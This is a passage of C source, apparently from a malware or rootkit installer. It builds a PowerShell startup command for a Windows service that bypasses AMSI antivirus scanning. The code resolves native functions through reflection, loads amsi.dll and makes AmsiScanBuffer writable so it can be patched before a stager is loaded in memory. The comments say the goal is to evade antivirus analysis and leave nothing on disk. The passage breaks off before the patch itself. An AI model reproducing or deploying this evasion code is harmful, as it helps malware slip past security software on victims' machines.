Function GetStartupCommand

Install/Install.c:35–176

}

LPWSTR GetStartupCommand()
{
	// Powershell inline command to be invoked using powershell.exe "..."

	PWCHAR command = NEW_ARRAY(WCHAR, 16384);

	// A Windows Service does not start when using powershell.exe directly, but cmd.exe wrapping powershell.exe works.
	StrCpyW(command, L"cmd.exe /c \"powershell.exe -Command \"\"");

	// AMSI bypass:
	// [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis.
	// AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI.

	// AMSI is only supported on Windows 10; AMSI bypass not required for Windows 7.
	if (IsAtLeastWindows10())
	{
		// Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load.
		// Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk.
		StrCatW(
			command,
			// Function to create a Delegate from an IntPtr
			L"function Local:Get-Delegate{"
			L"Param("
			L"[OutputType([Type])]"
			L"[Parameter(Position=0)][Type[]]$ParameterTypes,"
			L"[Parameter(Position=1)][Type]$ReturnType"
			L")"
			L"$TypeBuilder=[AppDomain]::CurrentDomain"
			L".DefineDynamicAssembly((New-Object Reflection.AssemblyName(`ReflectedDelegate`)),[Reflection.Emit.AssemblyBuilderAccess]::Run)"
			L".DefineDynamicModule(`InMemoryModule`,$False)"
			L".DefineType(`MyDelegateType`,`Class,Public,Sealed,AnsiClass,AutoClass`,[MulticastDelegate]);"
			L"$TypeBuilder.DefineConstructor(`RTSpecialName,HideBySig,Public`,[Reflection.CallingConventions]::Standard,$ParameterTypes).SetImplementationFlags(`Runtime,Managed`);"
			L"$TypeBuilder.DefineMethod(`Invoke`,`Public,HideBySig,NewSlot,Virtual`,$ReturnType,$ParameterTypes).SetImplementationFlags(`Runtime,Managed`);"
			L"Write-Output $TypeBuilder.CreateType();"
			L"}"

			// Use Microsoft.Win32.UnsafeNativeMethods for some DllImport's.
			L"$NativeMethods=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals(`System.dll`)})"
			L".GetType(`Microsoft.Win32.UnsafeNativeMethods`);"
			L"$GetProcAddress=$NativeMethods.GetMethod(`GetProcAddress`,[Reflection.BindingFlags](`Public,Static`),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);"

			// Create delegate types
			L"$LoadLibraryDelegate=Get-Delegate @([String])([IntPtr]);"
			L"$VirtualProtectDelegate=Get-Delegate @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);"

			// Get DLL and function pointers
			L"$Kernel32Ptr=$NativeMethods.GetMethod(`GetModuleHandle`).Invoke($Null,@([Object](`kernel32.dll`)));"
			L"$LoadLibraryPtr=$GetProcAddress.Invoke($Null,@([Object]$Kernel32Ptr,[Object](`LoadLibraryA`)));"
			L"$VirtualProtectPtr=$GetProcAddress.Invoke($Null,@([Object]$Kernel32Ptr,[Object](`VirtualProtect`)));"
			L"$AmsiPtr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryPtr,$LoadLibraryDelegate).Invoke(`amsi.dll`);"

			// Get address of AmsiScanBuffer
			L"$AmsiScanBufferPtr=$GetProcAddress.Invoke($Null,@([Object]$AmsiPtr,[Object](`AmsiScanBuffer`)));"

			// VirtualProtect PAGE_READWRITE
			L"$OldProtect=0;"
			L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,4,[ref]$OldProtect);"
		);